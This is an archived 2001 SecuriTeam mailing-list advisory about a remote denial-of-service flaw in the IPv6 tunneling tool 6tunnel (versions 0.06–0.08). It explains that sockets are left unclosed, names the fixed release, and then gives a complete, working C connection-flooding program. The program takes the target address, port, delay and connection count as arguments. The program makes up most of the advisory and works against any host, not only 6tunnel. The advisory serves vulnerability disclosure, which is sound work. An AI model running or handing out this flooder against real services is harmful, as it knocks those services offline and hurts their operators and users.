

# [EXPL] Remote DoS in 6tunnel

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-10/0080.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 10/27/01

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Subject: [EXPL] Remote DoS in 6tunnel

Message-Id: <20011027211502.EAF40138BF@mail.der-keiler.de>

Date: Sat, 27 Oct 2001 23:15:02 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

-----

Remote DoS in 6tunnel

---

## SUMMARY

6tunnel is a simple tunneling program for applications that do not speak IPv6. It is mostly used as an IRC proxy for clients without IPv6 support. A serious vulnerability in this program allows any user to crash 6tunnel remotely.

## DETAILS

Vulnerable systems:

6tunnel version 0.06

6tunnel version 0.07

6tunnel version 0.08

Immune systems:

6tunnel version 0.09

The socket that is opened whenever a client connects to 6tunnel is not correctly closed at the end of connection: in some cases, when the connection is closed by server (i.e. on IRC with a quit command) the socket will be closed after a short timeout. However if the socket is closed after a client disconnects, the socket remains in its CLOSE state

## Securiteam: [EXPL] Remote DoS in 6tunnel

until 6tunnel will be either killed or stopped.

Therefore, flooding 6tunnel with connection requests and their corresponding disconnection will cause a lot of sockets to not fully close. This will eventually cause 6tunnel to crash.

Solution:

An immune version can be downloaded from:

<ftp://213.146.38.146/pub/wojtekka/> <ftp://213.146.38.146/pub/wojtekka/>

Exploit:

```
/*
 * ipv4/ipv6 tcp connection flooder.
 * Originally used as a DoS for 6tunnel (versions < 0.08).
 * Version 0.08 is a broken version. Please update to 0.09.
 *
 * Description of options:
 * -6 : flood an ipv6 address.
 * port : tcp port to flood (default: 667)
 * delay: delay between connections (ms).
 * times: max number of connections (default: 2500).
 *
 * awayzzz <awayzzz@digibel.org>
 * You can even find me @IRCnet if you need.
 */
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define DEFP 667 // default port.
#define DEFT 2500 // default number of connections.
#define TIME 100000 // delay between connections.
                // tune it for best performances!

#define HAVE_IPV6

#define VALID_PORT(i) (i<65535 && i > 0)

int main(int argc, char *argv[])
{

    int ret, fd, i, ip6 = 0;
    int times = DEFT, port = DEFP, delay = TIME;
    struct sockaddr_in sin;

#ifdef HAVE_IPV6
    struct sockaddr_in6 sin6;
```

```

#endif

if( argc < 2 )
{
    char *pname;

    if(!(pname = strrchr(argv[0],'/'))
        pname = argv[0];
    else
        pname++;

    printf("Usage: %s [-6] ip4/6 [port] [delay (ms)] [times]\n",
pname);
    exit (0);
}

if(!strcmp(argv[1],"-6"))
{

#ifdef HAVE_IPV6
    ip6 = 1;
#endif
    argv++;
    argc--;
}

if(argc > 2)
{
    port = strtol(argv[2], NULL, 10);
    if(!VALID_PORT(port))
    {
        fprintf(stderr,"Invalid port number. Using default\n");
        port = DEFP;
    }
}

if(argc > 3)
    delay = strtol(argv[3], NULL, 10);

if(argc > 4)
    times = strtol(argv[4], NULL, 10);

printf("Started with %s flood to %s on %d for %d times!\n",
        (ip6 == 1) ? "ipv6" : "ipv4", argv[1], port, times);

for (i = 0; i < times; i++)
{

#ifdef HAVE_IPV6
    if(ip6)
    {

```

## Securiteam: [EXPL] Remote DoS in 6tunnel

```
fd = socket(AF_INET6, SOCK_STREAM, 0);
memset(&sin6, 0, sizeof(sin6));

sin6.sin6_family = AF_INET6;
sin6.sin6_port = htons(port);
inet_pton(AF_INET6,argv[1],sin6.sin6_addr.s6_addr);
}
else
{
#endif /* HAVE_IPV6 */

fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(sin));

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(port);

#ifdef HAVE_IPV6
}
if(ip6)
ret = connect(fd, (struct sockaddr *)&sin6, sizeof(sin6));
else
#endif
ret = connect(fd, (struct sockaddr *)&sin, sizeof(sin));

if(ret < 0)
{
printf("connect %d failed.\n",i);
perror("connect");
break;
}

printf("Connection no. %d\n",i);
close(fd);
usleep(delay);
}
}
/* :wq */
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:awayzzz@digibel.org>>  
awayzzz.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- ***Previous message:*** [support@securiteam.com](mailto:support@securiteam.com): "[EXPL] Weak Authentication in iBill's Password Management CGI"
  - ***Messages sorted by:*** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)